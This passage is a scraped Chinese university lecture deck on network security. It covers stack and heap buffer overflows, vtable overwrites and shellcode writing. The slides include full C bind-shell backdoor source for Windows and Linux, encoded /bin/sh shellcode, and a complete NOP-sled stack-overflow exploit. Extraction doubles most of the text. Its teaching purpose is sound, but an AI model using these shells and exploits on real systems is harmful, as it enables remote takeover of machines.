55
网网网网网网网 网网网网网网网 网网网网 网网网网 ( ( ) ) 网网网 网网网网网网网网网网 网网网 网网网网网网网网网网 http://www.icst.pku.edu.cn/ http://www.icst.pku.edu.cn/ InfoSecCourse InfoSecCourse

网络与信息安全 网络安全 (五 )

  • Upload
    connie

  • View
    183

  • Download
    1

Embed Size (px)

DESCRIPTION

网络与信息安全 网络安全 (五 ). 潘爱民,北京大学计算机研究所 http://www.icst.pku.edu.cn/InfoSecCourse. 内 容. 缓冲区溢出 原理 Windows 平台的 Buffer overflows Linux 平台的 Buffer overflows 其他网络安全技术 后门 隐藏痕迹 网络安全部分复习 第二次作业. Buffer Overflows. 基本的思想 通过修改某些内存区域,把一段恶意代码存储到一个 buffer 中,并且使这个 buffer 被溢出,以便当前进程被非法利用(执行这段恶意的代码) 危害性 - PowerPoint PPT Presentation

Citation preview

Page 1: 网络与信息安全 网络安全  (五 )

网络与信息安全网络与信息安全网络安全网络安全 (( 五五 ))

潘爱民,北京大学计算机研究所潘爱民,北京大学计算机研究所

http://www.icst.pku.edu.cn/http://www.icst.pku.edu.cn/InfoSecCourseInfoSecCourse

Page 2: 网络与信息安全 网络安全  (五 )

内 容内 容

• 缓冲区溢出缓冲区溢出– 原理原理– WindowsWindows 平台的平台的 Buffer overflowsBuffer overflows– LinuxLinux 平台的平台的 Buffer overflowsBuffer overflows

• 其他网络安全技术其他网络安全技术– 后门后门– 隐藏痕迹隐藏痕迹

• 网络安全部分复习网络安全部分复习• 第二次作业第二次作业

Page 3: 网络与信息安全 网络安全  (五 )

Buffer OverflowsBuffer Overflows• 基本的思想基本的思想

– 通过修改某些内存区域,把一段恶意代码存储到一个通过修改某些内存区域,把一段恶意代码存储到一个 bufferbuffer 中,并且使中,并且使这个这个 bufferbuffer 被溢出,以便当前进程被非法利用被溢出,以便当前进程被非法利用 (( 执行这段恶意的代码执行这段恶意的代码 ))

• 危害性危害性– 在在 UNIXUNIX 平台上,通过发掘平台上,通过发掘 Buffer Overflow, Buffer Overflow, 可以获得一个交互式的可以获得一个交互式的

shellshell– 在在 WindowsWindows 平台上,可以上载并执行任何的代码平台上,可以上载并执行任何的代码– 溢出漏洞发掘起来需要较高的技巧和知识背景,但是,一旦有人编写出溢出漏洞发掘起来需要较高的技巧和知识背景,但是,一旦有人编写出

溢出代码,则用起来非常简单溢出代码,则用起来非常简单– 与其他的攻击类型相比,缓冲区溢出攻击与其他的攻击类型相比,缓冲区溢出攻击

• 不需要太多的先决条件不需要太多的先决条件• 杀伤力很强杀伤力很强• 技术性强技术性强

– 在在 Buffer OverflowsBuffer Overflows 攻击面前,防火墙往往显得很无奈攻击面前,防火墙往往显得很无奈

Page 4: 网络与信息安全 网络安全  (五 )

Buffer OverflowBuffer Overflow 的历史的历史

• 19881988 年的年的 MorrisMorris 蠕虫病毒,放倒了蠕虫病毒,放倒了 60006000 多台多台机器:利用机器:利用 UNIXUNIX 服务服务 fingerfinger 中的缓冲区溢出漏中的缓冲区溢出漏洞来获得访问权限,得到一个洞来获得访问权限,得到一个 shellshell

• 19961996 年前后,开始出现大量的年前后,开始出现大量的 Buffer OverflowBuffer Overflow攻击,因此引起人们的广泛关注攻击,因此引起人们的广泛关注

• 源码开放的操作系统首当其冲源码开放的操作系统首当其冲• 随后,随后, WindowsWindows 系统下的系统下的 Buffer OverflowsBuffer Overflows

也相继被发掘出来也相继被发掘出来• 已经有一些非常经典细致的文章来介绍与已经有一些非常经典细致的文章来介绍与 Buffer Buffer

overflowsoverflows 有关的技术有关的技术

Page 5: 网络与信息安全 网络安全  (五 )

进程的内存空间示意图进程的内存空间示意图

• StackStack

• HeapHeap

• BssBss

• DataData

• TextText

Page 6: 网络与信息安全 网络安全  (五 )

一点关于一点关于 Intel x86Intel x86 系列的汇编知系列的汇编知识识• 段式结构段式结构

– 从段式结构 从段式结构 -> -> 线性结构线性结构• 内存区域的访问控制内存区域的访问控制

– 段描述符段描述符• 指令流的控制指令流的控制

– ECS:EIPECS:EIP– JmpJmp 指令指令 (( 及其他跳转指令及其他跳转指令 ))– CallCall 指令指令 //retret

• 栈段栈段 ESSESS– 两个指针:两个指针: ESP(ESP( 动态动态 ), ), EBP(EBP( 静态静态 ))– Call/retCall/ret 指令指令– Push/pop/pusha/popaPush/pop/pusha/popa

Page 7: 网络与信息安全 网络安全  (五 )

一个函数调用示例一个函数调用示例• 函数:函数:

int func(int a, int b){int func(int a, int b){ int retVal = a + b;int retVal = a + b; return retVal;return retVal;}}

int main(int argc, char* argv[])int main(int argc, char* argv[]){{

int result = int result = func(1, 2);func(1, 2);printf("Hello World!\n");printf("Hello World!\n");return 0;return 0;

}}

• EIPEIP 、、 EBPEBP 、、 ESPESP 指针指针

2

1

Ret-add

ebp

retVal

Stack frame

Page 8: 网络与信息安全 网络安全  (五 )

为什么会缓冲区溢出?为什么会缓冲区溢出?• 在在 CC 语言中,指针和数组越界不保护是语言中,指针和数组越界不保护是 Buffer Buffer

overflowoverflow 的根源,而且,在的根源,而且,在 CC 语言标准库中就有语言标准库中就有许多能提供溢出的函数,如许多能提供溢出的函数,如 strcat(), strcpy(), strcat(), strcpy(), sprintf(), vsprintf(), bcopy(), gets()sprintf(), vsprintf(), bcopy(), gets() 和和 scanf()scanf()

• 通过指针填充数据通过指针填充数据• 不好的编程习惯不好的编程习惯• 溢出类型溢出类型

– 栈溢出栈溢出– 堆溢出堆溢出

Page 9: 网络与信息安全 网络安全  (五 )

栈溢出栈溢出 ((stack overflow)stack overflow)##include <stdio.h>include <stdio.h>#include <string.h>#include <string.h>

char shellcode[] = "\xeb\x1f\x……";char shellcode[] = "\xeb\x1f\x……";char large_string[128];char large_string[128];

int main(int argc, char **argv){int main(int argc, char **argv){ char buffer[96];char buffer[96]; int i;int i; long *long_ptr = (long *) large_string;long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++)for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer;*(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++)for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i];large_string[i] = shellcode[i]; strcpy(buffer, large_string);strcpy(buffer, large_string); return 0;return 0;}}

para1

para2

Return add

Buffer(96bytes)

i

long_ptr

高地址

低地址

shellcode

Page 10: 网络与信息安全 网络安全  (五 )

堆溢出堆溢出 ((heap overflow)heap overflow)

• 内存中的一些数据区内存中的一些数据区– ..text text 包含进程的代码包含进程的代码– ..data data 包含已经初始化的数据包含已经初始化的数据 (( 全局的,或者全局的,或者 staticstatic

的、并且已经初始化的数据的、并且已经初始化的数据 ))– ..bss bss 包含未经初始化的数据包含未经初始化的数据 (( 全局的,或者全局的,或者 staticstatic 的、的、

并且未经初始化的数据并且未经初始化的数据 ))– heap heap 运行时刻动态分配的数据区运行时刻动态分配的数据区– 还有一些其他的数据区还有一些其他的数据区

• 在在 ..datadata 、、 .bss.bss 和和 heapheap 中溢出的情形,都称为中溢出的情形,都称为heap overflowheap overflow ,,这些数据区的特点是:这些数据区的特点是:数据的增长由低地址向高地址数据的增长由低地址向高地址

Page 11: 网络与信息安全 网络安全  (五 )

关于关于 heap overflowheap overflow

• 比较少引起人们的关注,原因在于比较少引起人们的关注,原因在于– 比栈溢出难度更大比栈溢出难度更大– 需要结合其他的技术,比如需要结合其他的技术,比如

•函数指针改写函数指针改写•VtableVtable 改写改写•MallocMalloc库本身的漏洞库本身的漏洞

– 对于内存中变量的组织方式有一定的要求对于内存中变量的组织方式有一定的要求

Page 12: 网络与信息安全 网络安全  (五 )

指针改写指针改写• 要求:要求:

– 先定义一个先定义一个 bufferbuffer ,,再定义一个指针再定义一个指针• 溢出情形溢出情形

– 当对当对 bufferbuffer填充数据的时候,如果不进行边界填充数据的时候,如果不进行边界判断和控制的话,自然就会溢出到指针的内存判断和控制的话,自然就会溢出到指针的内存区,从而改变指针的值区,从而改变指针的值

Page 13: 网络与信息安全 网络安全  (五 )

指针改写导致指针改写导致 heap overflowheap overflow 示例示例

tmpfile

buf(16bytes)

tmpfd

高地址

低地址

.bss 区

……

如何发掘:估计出argv[1] 的地址,放到16-19字节中。

从而可能改写敏感文件

Page 14: 网络与信息安全 网络安全  (五 )

函数指针改写导致函数指针改写导致 heap overflowheap overflow示例示例

funcptr

buf(16bytes)

tmpfd

高地址

低地址

.bss 区

……

如何发掘:期望让funcptr 指向system() 函数,执行argv[2]

Page 15: 网络与信息安全 网络安全  (五 )

C++C++ 中的中的 vtablevtable 函数指针改写函数指针改写• 函数指针与函数体的绑定函数指针与函数体的绑定

– Early binding, Early binding, 在编译过程中绑定在编译过程中绑定– Late binding, Late binding, 在运行过程中绑定在运行过程中绑定

• C++C++ 的虚函数机制的虚函数机制– 编译器为每一个包含虚函数的编译器为每一个包含虚函数的 classclass建立起建立起

vtablevtable ,, vtablevtable 中存放的是虚函数的地址中存放的是虚函数的地址– 编译器也在每个编译器也在每个 classclass对象的内存区放入一个指向对象的内存区放入一个指向 vtablevtable

的指针的指针 ((称为称为 vptr)vptr) ,, vptrvptr 的位置随编译器的不同而不同,的位置随编译器的不同而不同,VCVC 放在对象的起始处,放在对象的起始处, gccgcc 放在对象的末尾放在对象的末尾

• OverflowOverflow– 设法改写设法改写 vptrvptr ,,让它指向另一段代码让它指向另一段代码

Page 16: 网络与信息安全 网络安全  (五 )

VptrVptr 指针改写示例代码指针改写示例代码

vptr

buf(11bytes)

高地址

低地址

heap

……

对象地址

printBuffer

如何发掘:期望让 vptr 指向构造的函数表,表中函数地址指向构造的代码。比较困难

Vptr’

func1

… nop shellcode

MyFunc

Page 17: 网络与信息安全 网络安全  (五 )

程序指令流被改变后……程序指令流被改变后……• 溢出之后,让程序执行我们指定的代码溢出之后,让程序执行我们指定的代码

– 我们自己提供的一段代码我们自己提供的一段代码– 系统现有的调用系统现有的调用

• 由于这段代码往往不能太长,所以需要精心设计,并且充由于这段代码往往不能太长,所以需要精心设计,并且充分利用系统中现有的函数和指令分利用系统中现有的函数和指令

• 对于不同的操作系统对于不同的操作系统– Linux/UnixLinux/Unix ,,尽可能地得到一个尽可能地得到一个 shell(shell( 最好是最好是 root shell)root shell)– WindowsWindows ,,一个可以远程建立连接的一个可以远程建立连接的 telnettelnet 会话会话

• 通用的模式通用的模式– 找到具有漏洞的程序找到具有漏洞的程序 (vulnerable program )(vulnerable program )– 编写出编写出 shellcodeshellcode ,,– 然后编写把然后编写把 shellcodeshellcode 送到漏洞程序的程序送到漏洞程序的程序 (( 称为称为 exploit)exploit)

Page 18: 网络与信息安全 网络安全  (五 )

WindowsWindows 平台下的平台下的 buffer buffer overflowsoverflows• 过程过程

– 发现目标发现目标•找到有漏洞的程序,如果在输找到有漏洞的程序,如果在输入非正常字符串的时候,出现入非正常字符串的时候,出现右图的情形右图的情形

•或者从程序中找漏洞,用好的或者从程序中找漏洞,用好的反汇编工具,加上耐心反汇编工具,加上耐心

– 以一个特定的字符串作为线以一个特定的字符串作为线索,跟踪到索,跟踪到 strcpystrcpy 这样的函这样的函数,看是否有边界检查数,看是否有边界检查

– 编写编写 shellcodeshellcode– 编写编写 exploitexploit 程序,并试验,程序,并试验,直到成功直到成功

Page 19: 网络与信息安全 网络安全  (五 )

编写编写 WindowsWindows 平台下的平台下的shellcodeshellcode• ShellcodeShellcode 将被放在一个将被放在一个 bufferbuffer 中中• ShellcodeShellcode 可以写成通用的,也就是与具体的应用无关可以写成通用的,也就是与具体的应用无关• ShellcodeShellcode 的功能目标的功能目标

– 产生一个产生一个 shellshell ,可能是本地的,可能是本地的– 也可能是远程的,把也可能是远程的,把 shellshell 的输入输出与一个的输入输出与一个 socketsocket连接起来连接起来

• 编写通用编写通用 shellcodeshellcode 要注意的地方要注意的地方– ShellcodeShellcode 不能太长,尽可能的短小精致不能太长,尽可能的短小精致– ShellcodeShellcode 的代码不能包含的代码不能包含’’ \x0’\x0’ ,否则就会被,否则就会被 strcpystrcpy 这样的函这样的函

数截断数截断– ShellcodeShellcode 应该与应该与 WindowsWindows 的操作系统无关,版本的操作系统无关,版本 (( 或补丁或补丁 ))

无关无关– 可供使用的系统调用非常有限可供使用的系统调用非常有限

Page 20: 网络与信息安全 网络安全  (五 )

ShellcodeShellcode 代码代码

• 本地本地 shellcodeshellcode ::– 最简单的做法是调用最简单的做法是调用 CreateProcessCreateProcess 创建一个进程,创建一个进程,

执行执行 cmd.execmd.exe• 远程远程 shellcodeshellcode ::

– 在远程机器上执行一个网络服务程序,打开一个在远程机器上执行一个网络服务程序,打开一个socketsocket端口,等待客户程序来连接。端口,等待客户程序来连接。

– 当客户程序连接上之后,为客户建立一个当客户程序连接上之后,为客户建立一个 cmd.execmd.exe 进进程,并且把客户的输入输出与程,并且把客户的输入输出与 cmd.execmd.exe 的输入输出联的输入输出联系起来,于是客户就有了一个远程系起来,于是客户就有了一个远程 shellshell

– 如何把输入输出联系起来呢?可以通过管道如何把输入输出联系起来呢?可以通过管道 (pipe)(pipe) 来来实现。实现。

Page 21: 网络与信息安全 网络安全  (五 )

WindowsWindows 下的远程下的远程 shellcodeshellcode 代码代码 (C(C版本版本 ))

#include <winsock2.h>#include <winsock2.h>#include <stdio.h>#include <stdio.h>int main()int main(){{

WSADATA wsa;WSADATA wsa;SOCKET listenFD;SOCKET listenFD;char Buff[1024];char Buff[1024];int ret;int ret;

WSAStartup(MAKEWORD(2,2),&wsa);WSAStartup(MAKEWORD(2,2),&wsa);

listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;struct sockaddr_in server;

server.sin_family = AF_INET;server.sin_family = AF_INET;server.sin_port = htons(53764);server.sin_port = htons(53764);server.sin_addr.s_addr=ADDR_ANY;server.sin_addr.s_addr=ADDR_ANY;ret=bind(listenFD,(sockaddr *)&server,sizeof(server));ret=bind(listenFD,(sockaddr *)&server,sizeof(server));ret=listen(listenFD,2);ret=listen(listenFD,2);int iAddrSize = sizeof(server);int iAddrSize = sizeof(server);SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

Page 22: 网络与信息安全 网络安全  (五 )

WindowsWindows 下的远程下的远程 shellcodeshellcode 代码代码(( 续一续一 ))SECURITY_ATTRIBUTES sa;SECURITY_ATTRIBUTES sa;

sa.nLength=12;sa.nLength=12;sa.lpSecurityDescriptor=0;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;sa.bInheritHandle=true;

HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

ret = CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);ret = CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);// // 管道管道 11 :: cmd.execmd.exe 进程写数据到管道,父进程从管道中读出数据进程写数据到管道,父进程从管道中读出数据

ret = CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);ret = CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);// // 管道管道22 :父进程写数据到管道, :父进程写数据到管道, cmd.execmd.exe 进程从管道中读出数据进程从管道中读出数据

STARTUPINFO si;STARTUPINFO si;ZeroMemory(&si,sizeof(si));ZeroMemory(&si,sizeof(si));si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;si.wShowWindow = SW_HIDE;si.wShowWindow = SW_HIDE;si.hStdInput = hReadPipe2;si.hStdInput = hReadPipe2;si.hStdOutput = si.hStdError = hWritePipe1;si.hStdOutput = si.hStdError = hWritePipe1;char cmdLine[] = "cmd.exe";char cmdLine[] = "cmd.exe";PROCESS_INFORMATION ProcessInformation;PROCESS_INFORMATION ProcessInformation;

ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si, &ProcessInformation);&ProcessInformation);

Page 23: 网络与信息安全 网络安全  (五 )

WindowsWindows 下的远程下的远程 shellcodeshellcode 代码代码(( 续二续二 ))

unsigned long lBytesRead;unsigned long lBytesRead;

while(1) while(1) {{

ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);// // 看看看看 cmd.execmd.exe 是否有数据输出是否有数据输出

if (lBytesRead) if (lBytesRead) {{ ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);

if (!ret) break;if (!ret) break;ret = send(clientFD,Buff,lBytesRead,0);ret = send(clientFD,Buff,lBytesRead,0);if (ret<=0) break;if (ret<=0) break;

} else {} else {lBytesRead=recv(clientFD,Buff,1024,0);lBytesRead=recv(clientFD,Buff,1024,0);if (lBytesRead<=0) break;if (lBytesRead<=0) break;ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);if (!ret) break;if (!ret) break;

     }}}}return 0;return 0;

} // main()} // main()

Page 24: 网络与信息安全 网络安全  (五 )

在在 WindowsWindows 下编写下编写 shellcodeshellcode 的的困难困难• 如何调用系统函数如何调用系统函数

– 汇编代码是使用汇编代码是使用 callcall 指令,如何确定指令,如何确定 callcall 后面的指令?我们不能使用后面的指令?我们不能使用import tableimport table

– 我们使用我们使用 GetProcAddressGetProcAddress 和和 LoadLibraryALoadLibraryA 来解决来解决– 这两个函数的地址可以从这两个函数的地址可以从 exeexe 的的 import tableimport table 中找到中找到– 做法:把所有需要用到的系统函数都放到一张数据表中,然后通过做法:把所有需要用到的系统函数都放到一张数据表中,然后通过

GetProcAddressGetProcAddress找到这些函数的地址找到这些函数的地址• 消除代码中的消除代码中的 nullnull字节字节

– 在数据区,加减一个常量来避免出现在数据区,加减一个常量来避免出现 nullnull ,这样在代码刚开始执行的时,这样在代码刚开始执行的时候,要先恢复数据区候,要先恢复数据区

– 在指令区,通过一些技巧来获得在指令区,通过一些技巧来获得 00 ,比如,比如• xor eax, eaxxor eax, eax• 要赋值要赋值 0x004411100x00441110 给给 ebxebx ,则可以,则可以

mov ebx, 44111099mov ebx, 44111099shr ebx, 08shr ebx, 08

• 跳转的时候使用相对地址,如果出现跳转的时候使用相对地址,如果出现 00 ,则可以用,则可以用 nopnop 来避免来避免

Page 25: 网络与信息安全 网络安全  (五 )

把把 shellcodeshellcode 装到装到 bufferbuffer 中中

• 如何在内存中找到一个如何在内存中找到一个 jmp espjmp esp 指令指令 (( 二进制码为二进制码为0xffe4)0xffe4) ??– 可以在目标可以在目标 exeexe或者或者 dlldll 中寻找,也可以在系统中寻找,也可以在系统 dlldll 中寻中寻找,但是系统找,但是系统 dlldll 有版本相依性有版本相依性

• 另一个问题:如果溢出函数的返回指令有偏移另一个问题:如果溢出函数的返回指令有偏移 (( 比比如如 ret 8)ret 8) ,则,则 espesp 往后移动了往后移动了– 解决的办法是在解决的办法是在 shellcodeshellcode 的前面加上多个的前面加上多个 nop(nop( 二进制二进制

码为码为 0x90)0x90)

Ret-val

shellcodeStack frame

(buffer)低地址 高地址

jmp esp

Page 26: 网络与信息安全 网络安全  (五 )

编写编写 LinuxLinux 平台下的平台下的 shellcodeshellcode• 编写编写 LinuxLinux 平台下的平台下的 shellcodeshellcode 要简单得多,下要简单得多,下

面是本地的面是本地的 shellcode(Cshellcode(C 语言语言 ))

#include <stdio.h>#include <stdio.h>

void main() {void main() { char *name[2];char *name[2];

name[0] = "/bin/sh";name[0] = "/bin/sh"; name[1] = NULL;name[1] = NULL; execve(name[0], name, NULL);execve(name[0], name, NULL);}}

• 对于远程对于远程 shellshell ,把输入输出与,把输入输出与 socketsocket联系起来联系起来

Page 27: 网络与信息安全 网络安全  (五 )

LinuxLinux 下的远程下的远程 shellcodeshellcode 代码代码 (C(C版本版本 ))

int main()int main(){{ char *name[2];char *name[2]; int fd,fd2,fromlen;int fd,fd2,fromlen; struct sockaddr_in serv;struct sockaddr_in serv;

fd=socket(AF_INET,SOCK_STREAM,0);fd=socket(AF_INET,SOCK_STREAM,0); serv.sin_addr.s_addr=0;serv.sin_addr.s_addr=0; serv.sin_port=1234;serv.sin_port=1234; serv.sin_family=AF_INET;serv.sin_family=AF_INET; bind(fd,(struct sockaddr *)&serv,16);bind(fd,(struct sockaddr *)&serv,16); listen(fd,1);listen(fd,1); fromlen=16; /*(sizeof(struct sockaddr)*/fromlen=16; /*(sizeof(struct sockaddr)*/ fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);fd2=accept(fd,(struct sockaddr *)&serv,&fromlen); /* "connect" fd2 to stdin,stdout,stderr *//* "connect" fd2 to stdin,stdout,stderr */ dup2(fd2,0);dup2(fd2,0); dup2(fd2,1);dup2(fd2,1); dup2(fd2,2);dup2(fd2,2); name[0]="/bin/sh";name[0]="/bin/sh"; name[1]=NULL;name[1]=NULL; execve(name[0],name,NULL);execve(name[0],name,NULL);

exit(0);exit(0);}}

Page 28: 网络与信息安全 网络安全  (五 )

LinuxLinux 下下 shellcodeshellcode 的注意点的注意点• 系统调用系统调用

– 在在 Linux(+Intel)Linux(+Intel) 下,系统调用的汇编码是下,系统调用的汇编码是 int 0x80int 0x80 ,所以与具,所以与具体的版本无关。通过寄存器来传递参数体的版本无关。通过寄存器来传递参数

– 但是,需要把用到的每个系统调用反汇编出来,得到它们的二进制但是,需要把用到的每个系统调用反汇编出来,得到它们的二进制码。用码。用 gcc/gdbgcc/gdb 就可以做到就可以做到 (gcc(gcc 中使用中使用 -static-static 选项选项 ))

• 消除消除 shellcodeshellcode 中的中的 nullnull 字节字节– 用一些简单的技巧可以替换掉指令中的用一些简单的技巧可以替换掉指令中的 nullnull字节字节

• 把把 shellcodeshellcode装到装到 bufferbuffer 中中– 编写一个编写一个 exploitexploit 程序产生这样的程序产生这样的 bufferbuffer

Ret-val

shellcodeStack frame

(buffer)低地址 高地址

Page 29: 网络与信息安全 网络安全  (五 )

LinuxLinux 下发掘程序的下发掘程序的 buffer overflowsbuffer overflows漏洞漏洞

• 利用利用 shellcodeshellcode 构造出一个构造出一个 bufferbuffer– 猜测返回地址猜测返回地址– 从栈顶从栈顶 (( 固定固定 )) 一直往下猜,两个参数:一直往下猜,两个参数:

• Ret-valRet-val 的个数的个数• 缓冲区离栈顶的偏移缓冲区离栈顶的偏移

Ret-val

shellcodeRet-val

Ret-val

……

para1

Ret-add

正常的Buffer

高地址

低地址

• 改进:提高猜中的概率改进:提高猜中的概率

Ret-val

shellcodeRet-val

NOPsRet-val

Buffer:

Page 30: 网络与信息安全 网络安全  (五 )

LinuxLinux 下下 Buffer Buffer overflowsoverflows 的例的例子子#include<string.h>#include<string.h>#include<ctype.h>#include<ctype.h>int main(int argc,char **argv)int main(int argc,char **argv){{ char buffer[1024];char buffer[1024]; int i;int i; if(argc>1)if(argc>1) {{ for(i=0;i<strlen(argv[1]);i+for(i=0;i<strlen(argv[1]);i+

+)+) argv[1][i]=argv[1][i]=

toupper(argv[1][i]);toupper(argv[1][i]); strcpy(buffer,argv[1]);strcpy(buffer,argv[1]); }}}}

char shellcode[]= "\xeb\x38" /* jmp 0x38 */ "\x5e" /* popl %esi */ "\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */ "\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */ "\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */ "\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */ "\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */ "\x89\xf0" /* movl %esi,%eax */ "\x83\xc0\x08" /* addl $0x8,%eax */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xc3\xff\xff\xff" /* call -0x3d */ "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */ /* /bin/sh is disguised */

Page 31: 网络与信息安全 网络安全  (五 )

LinuxLinux 下下 Buffer overflowsBuffer overflows 的的exploitexploit 例子例子#include<stdio.h>#include<stdio.h>#include<stdlib.h>#include<stdlib.h>#define ALIGN 0#define ALIGN 0#define OFFSET 0#define OFFSET 0#define RET_POSITION 1024#define RET_POSITION 1024#define RANGE 20#define RANGE 20#define NOP 0x90#define NOP 0x90char shellcode[]=“…”;char shellcode[]=“…”;unsigned long get_sp(void)unsigned long get_sp(void){{ __asm__("movl %esp,%eax");__asm__("movl %esp,%eax");}}main(int argc,char **argv)main(int argc,char **argv){{ char *ptr,char *ptr,

buff[RET_POSITION+RANGE+ALIGN+1buff[RET_POSITION+RANGE+ALIGN+1];];

long addr;long addr; unsigned long sp;unsigned long sp;

int i;int i; int offset=OFFSET,int offset=OFFSET,

bsize=RET_POSITIONbsize=RET_POSITION+RANGE+ALIGN+1;+RANGE+ALIGN+1;

if(argc>1)if(argc>1) offset=atoi(argv[1]);offset=atoi(argv[1]);

sp=get_sp();sp=get_sp(); addr=sp-offset;addr=sp-offset; for(i=0;i<bsize;i+=4)for(i=0;i<bsize;i+=4) {{ buff[i+ALIGN]=buff[i+ALIGN]=

(addr&0x000000ff);(addr&0x000000ff); buff[i+ALIGN+1]=buff[i+ALIGN+1]=

(addr&0x0000ff00)>>8;(addr&0x0000ff00)>>8; buff[i+ALIGN+2]=buff[i+ALIGN+2]=

(addr&0x00ff0000)>>16;(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=buff[i+ALIGN+3]=

(addr&0xff000000)>>24;(addr&0xff000000)>>24; }} for(i=0;i<bsize-RANGE*2for(i=0;i<bsize-RANGE*2

-strlen(shellcode)-1;i+-strlen(shellcode)-1;i++)+)

buff[i]=NOP;buff[i]=NOP; ptr=buff+bsize-RANGE*2ptr=buff+bsize-RANGE*2

-strlen(shellcode)-1;-strlen(shellcode)-1; for(i=0;i<strlen(shellcode);i++)for(i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i];*(ptr++)=shellcode[i]; buff[bsize-1]='\0';buff[bsize-1]='\0'; printf("Jump to 0x%08x\n",addr);printf("Jump to 0x%08x\n",addr); execl("./vulnerable1",execl("./vulnerable1",

"vulnerable1",buff,0);"vulnerable1",buff,0);} }

Page 32: 网络与信息安全 网络安全  (五 )

LinuxLinux 下下 Buffer overflowsBuffer overflows 的溢出的溢出示例示例

Page 33: 网络与信息安全 网络安全  (五 )

一些典型的一些典型的 buffer overflowsbuffer overflows漏洞漏洞• NetMeeting buffer overflowNetMeeting buffer overflow

– 文章“文章“ The Tao of Windows Buffer Overflow”The Tao of Windows Buffer Overflow” 描述了漏洞发掘过描述了漏洞发掘过程程

• OutlookOutlook– 当客户接收邮件的时候,畸形的邮件头信息会导致当客户接收邮件的时候,畸形的邮件头信息会导致 buffer buffer

overflowsoverflows ,,然后就可以执行恶意代码或者拒绝服务然后就可以执行恶意代码或者拒绝服务• LinuxconfLinuxconf

– LinuxconfLinuxconf允许远程通过允许远程通过 WebWeb对系统进行管理,当收到的对系统进行管理,当收到的 httphttp头中头中包含过量的信息时,会产生缓冲区溢出包含过量的信息时,会产生缓冲区溢出

• ToolTalkToolTalk– ToolTalkToolTalk 是一个是一个 RPCRPC 服务,攻击者连接到服务,攻击者连接到 ToolTalkToolTalk端口,然后发送端口,然后发送包含恶意代码的命令,可导致缓冲区溢出包含恶意代码的命令,可导致缓冲区溢出

• …………(( 大量的服务器应用程序都包含大量的服务器应用程序都包含 buffer overflowsbuffer overflows 漏洞漏洞 ))

Page 34: 网络与信息安全 网络安全  (五 )

为什么不写出不受影响的代码来?为什么不写出不受影响的代码来?• 编程的问题都可以在开发阶段防止,事实编程的问题都可以在开发阶段防止,事实

上,并没有这么简单上,并没有这么简单– 有些开发人员没有意识到问题的存在有些开发人员没有意识到问题的存在– 有些开发人员不愿意使用边界检查,因为会影有些开发人员不愿意使用边界检查,因为会影响效率和性能响效率和性能

– 另一方面,许多遗留下来的代码还很多另一方面,许多遗留下来的代码还很多•在开发过程中,尽量使用带有边界检查的在开发过程中,尽量使用带有边界检查的

函数版本,或者自己进行越界检查函数版本,或者自己进行越界检查

Page 35: 网络与信息安全 网络安全  (五 )

如何保护自己的代码免受如何保护自己的代码免受 Buffer OverflowBuffer Overflow攻击?攻击?• 不可执行的缓冲区不可执行的缓冲区

– 适用于堆栈适用于堆栈 ((stack)stack) 中的中的 bufferbuffer ,,基本上不影响兼容性基本上不影响兼容性• 数组越界保护数组越界保护

– 每一次引用一个数组元素的时候,都执行检查每一次引用一个数组元素的时候,都执行检查– 缺点:效率低,并且用指针也可以引用数组元素缺点:效率低,并且用指针也可以引用数组元素

• 指针保护指针保护– 在指针被引用之前,检测到它的变化在指针被引用之前,检测到它的变化

• 最根本的解决办法最根本的解决办法– 编写正确的代码编写正确的代码

• 不用不用 C/C++C/C++ ,,用用 VBVB 、、 JavaJava 。???。???

Page 36: 网络与信息安全 网络安全  (五 )

防范缓冲区溢出防范缓冲区溢出• 缓冲区溢出是代码中固有的漏洞,除了在开发阶缓冲区溢出是代码中固有的漏洞,除了在开发阶

